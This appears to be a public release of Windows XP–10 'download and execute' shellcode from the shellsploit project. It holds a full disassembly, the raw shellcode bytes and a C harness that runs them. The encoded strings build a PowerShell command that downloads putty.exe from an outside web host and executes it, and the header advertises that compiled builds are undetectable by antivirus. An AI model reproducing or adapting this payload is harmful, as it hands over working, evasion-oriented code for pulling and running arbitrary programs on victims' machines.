Windows XP - 10 - Download & Execute Shellcode

/*
[+] Author  : B3mB4m
[~] Contact : [email protected]
[~] Project : https://github.com/b3mb4m/shellsploit-framework
[~] Greetz  : Bomberman,T-Rex,Pixi
-----------------------------------------------------------

Tested on : 
    Windows XP/SP3 x86
    Windows 7 Ultimate x64  
    Windows 8.1 Pro Build 9600 x64
    Windows 10 Home x64


* This source belongs to shellsploit project under MIT licence.

* If you convert it an executable file, its will be FUD(without any encrypt).
 	-PoC : https://nodistribute.com/result/qwxU3DmFCR2M0OrQt



	0x0:	31c9			xor ecx, ecx
	0x2:	b957696e45		mov ecx, 0x456e6957
	0x7:	eb04			jmp 0xd
	0x9:	31c9			xor ecx, ecx
	0xb:	eb00			jmp 0xd
	0xd:	31c0			xor eax, eax
	0xf:	31db			xor ebx, ebx
	0x11:	31d2			xor edx, edx
	0x13:	31ff			xor edi, edi
	0x15:	31f6			xor esi, esi
	0x17:	648b7b30		mov edi, dword ptr fs:[ebx + 0x30]
	0x1b:	8b7f0c			mov edi, dword ptr [edi + 0xc]
	0x1e:	8b7f1c			mov edi, dword ptr [edi + 0x1c]
	0x21:	8b4708			mov eax, dword ptr [edi + 8]
	0x24:	8b7720			mov esi, dword ptr [edi + 0x20]
	0x27:	8b3f			mov edi, dword ptr [edi]
	0x29:	807e0c33		cmp byte ptr [esi + 0xc], 0x33
	0x2d:	75f2			jne 0x21
	0x2f:	89c7			mov edi, eax
	0x31:	03783c			add edi, dword ptr [eax + 0x3c]
	0x34:	8b5778			mov edx, dword ptr [edi + 0x78]
	0x37:	01c2			add edx, eax
	0x39:	8b7a20			mov edi, dword ptr [edx + 0x20]
	0x3c:	01c7			add edi, eax
	0x3e:	89dd			mov ebp, ebx
	0x40:	81f957696e45	cmp ecx, 0x456e6957
	0x46:	0f8530010000	jne 0x17c
	0x4c:	8b34af			mov esi, dword ptr [edi + ebp*4]
	0x4f:	01c6			add esi, eax
	0x51:	45				inc ebp
	0x52:	390e			cmp dword ptr [esi], ecx
	0x54:	75f6			jne 0x4c
	0x56:	8b7a24			mov edi, dword ptr [edx + 0x24]
	0x59:	01c7			add edi, eax
	0x5b:	668b2c6f		mov bp, word ptr [edi + ebp*2]
	0x5f:	8b7a1c			mov edi, dword ptr [edx + 0x1c]
	0x62:	01c7			add edi, eax
	0x64:	8b7caffc		mov edi, dword ptr [edi + ebp*4 - 4]
	0x68:	01c7			add edi, eax
	0x6a:	89d9			mov ecx, ebx
	0x6c:	b1ff			mov cl, 0xff
	0x6e:	53				push ebx
	0x6f:	e2fd			loop 0x6e
	0x71:	68293b7d22		push 0x227d3b29
	0x76:	6865786527		push 0x27657865
	0x7b:	687474792e		push 0x2e797474
	0x80:	6828277075		push 0x75702728
	0x85:	6863757465		push 0x65747563
	0x8a:	686c457865		push 0x6578456c
	0x8f:	685368656c		push 0x6c656853
	0x94:	686f6e292e		push 0x2e296e6f
	0x99:	6863617469		push 0x69746163
	0x9e:	6870706c69		push 0x696c7070
	0xa3:	686c6c2e41		push 0x412e6c6c
	0xa8:	6820536865		push 0x65685320
	0xad:	682d636f6d		push 0x6d6f632d
	0xb2:	6865637420		push 0x20746365
	0xb7:	682d4f626a		push 0x6a624f2d
	0xbc:	68284e6577		push 0x77654e28
	0xc1:	682729203b		push 0x3b202927
	0xc6:	682e657865		push 0x6578652e
	0xcb:	6875747479		push 0x79747475
	0xd0:	682c202770		push 0x7027202c
	0xd5:	6865786527		push 0x27657865
	0xda:	687474792e		push 0x2e797474
	0xdf:	68362f7075		push 0x75702f36
	0xe4:	68742f7838		push 0x38782f74
	0xe9:	6861746573		push 0x73657461
	0xee:	6874792f6c		push 0x6c2f7974
	0xf3:	682f707574		push 0x7475702f
	0xf8:	687468616d		push 0x6d616874
	0xfd:	6873677461		push 0x61746773
	0x102:	686c692f7e		push 0x7e2f696c
	0x107:	687274682e		push 0x2e687472
	0x10c:	68652e6561		push 0x61652e65
	0x111:	682f2f7468		push 0x68742f2f
	0x116:	687470733a		push 0x3a737074
	0x11b:	6828276874		push 0x74682728
	0x120:	6846696c65		push 0x656c6946
	0x125:	686c6f6164		push 0x64616f6c
	0x12a:	68446f776e		push 0x6e776f44
	0x12f:	686e74292e		push 0x2e29746e
	0x134:	68436c6965		push 0x65696c43
	0x139:	682e576562		push 0x6265572e
	0x13e:	68204e6574		push 0x74654e20
	0x143:	686a656374		push 0x7463656a
	0x148:	68772d4f62		push 0x624f2d77
	0x14d:	6820284e65		push 0x654e2820
	0x152:	682226207b		push 0x7b202622
	0x157:	68616e6420		push 0x20646e61
	0x15c:	68636f6d6d		push 0x6d6d6f63
	0x161:	686c6c202d		push 0x2d206c6c
	0x166:	6872736865		push 0x65687372
	0x16b:	68706f7765		push 0x65776f70
	0x170:	89e2			mov edx, esp
	0x172:	41				inc ecx
	0x173:	51				push ecx
	0x174:	52				push edx
	0x175:	ffd7			call edi
	0x177:	e88dfeffff		call 9
	0x17c:	8b34af			mov esi, dword ptr [edi + ebp*4]
	0x17f:	01c6			add esi, eax
	0x181:	45				inc ebp
	0x182:	813e45786974	cmp dword ptr [esi], 0x74697845
	0x188:	75f2			jne 0x17c
	0x18a:	817e0450726f63	cmp dword ptr [esi + 4], 0x636f7250
	0x191:	75e9			jne 0x17c
	0x193:	8b7a24			mov edi, dword ptr [edx + 0x24]
	0x196:	01c7			add edi, eax
	0x198:	668b2c6f		mov bp, word ptr [edi + ebp*2]
	0x19c:	8b7a1c			mov edi, dword ptr [edx + 0x1c]
	0x19f:	01c7			add edi, eax
	0x1a1:	8b7caffc		mov edi, dword ptr [edi + ebp*4 - 4]
	0x1a5:	01c7			add edi, eax
	0x1a7:	31c9			xor ecx, ecx
	0x1a9:	51				push ecx
	0x1aa:	ffd7			call edi
*/

#include<stdio.h>
 
char shellcode[]=\
 
"\x31\xc9\xb9\x57\x69\x6e\x45\xeb\x04\x31\xc9\xeb\x00\x31\xc0\x31\xdb\x31\xd2\x31\xff\x31\xf6\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x81\xf9\x57\x69\x6e\x45\x0f\x85\x30\x01\x00\x00\x8b\x34\xaf\x01\xc6\x45\x39\x0e\x75\xf6\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x29\x3b\x7d\x22\x68\x65\x78\x65\x27\x68\x74\x74\x79\x2e\x68\x28\x27\x70\x75\x68\x63\x75\x74\x65\x68\x6c\x45\x78\x65\x68\x53\x68\x65\x6c\x68\x6f\x6e\x29\x2e\x68\x63\x61\x74\x69\x68\x70\x70\x6c\x69\x68\x6c\x6c\x2e\x41\x68\x20\x53\x68\x65\x68\x2d\x63\x6f\x6d\x68\x65\x63\x74\x20\x68\x2d\x4f\x62\x6a\x68\x28\x4e\x65\x77\x68\x27\x29\x20\x3b\x68\x2e\x65\x78\x65\x68\x75\x74\x74\x79\x68\x2c\x20\x27\x70\x68\x65\x78\x65\x27\x68\x74\x74\x79\x2e\x68\x36\x2f\x70\x75\x68\x74\x2f\x78\x38\x68\x61\x74\x65\x73\x68\x74\x79\x2f\x6c\x68\x2f\x70\x75\x74\x68\x74\x68\x61\x6d\x68\x73\x67\x74\x61\x68\x6c\x69\x2f\x7e\x68\x72\x74\x68\x2e\x68\x65\x2e\x65\x61\x68\x2f\x2f\x74\x68\x68\x74\x70\x73\x3a\x68\x28\x27\x68\x74\x68\x46\x69\x6c\x65\x68\x6c\x6f\x61\x64\x68\x44\x6f\x77\x6e\x68\x6e\x74\x29\x2e\x68\x43\x6c\x69\x65\x68\x2e\x57\x65\x62\x68\x20\x4e\x65\x74\x68\x6a\x65\x63\x74\x68\x77\x2d\x4f\x62\x68\x20\x28\x4e\x65\x68\x22\x26\x20\x7b\x68\x61\x6e\x64\x20\x68\x63\x6f\x6d\x6d\x68\x6c\x6c\x20\x2d\x68\x72\x73\x68\x65\x68\x70\x6f\x77\x65\x89\xe2\x41\x51\x52\xff\xd7\xe8\x8d\xfe\xff\xff\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x45\x78\x69\x74\x75\xf2\x81\x7e\x04\x50\x72\x6f\x63\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x31\xc9\x51\xff\xd7";
 
main(){(* (int(*)()) shellcode)();}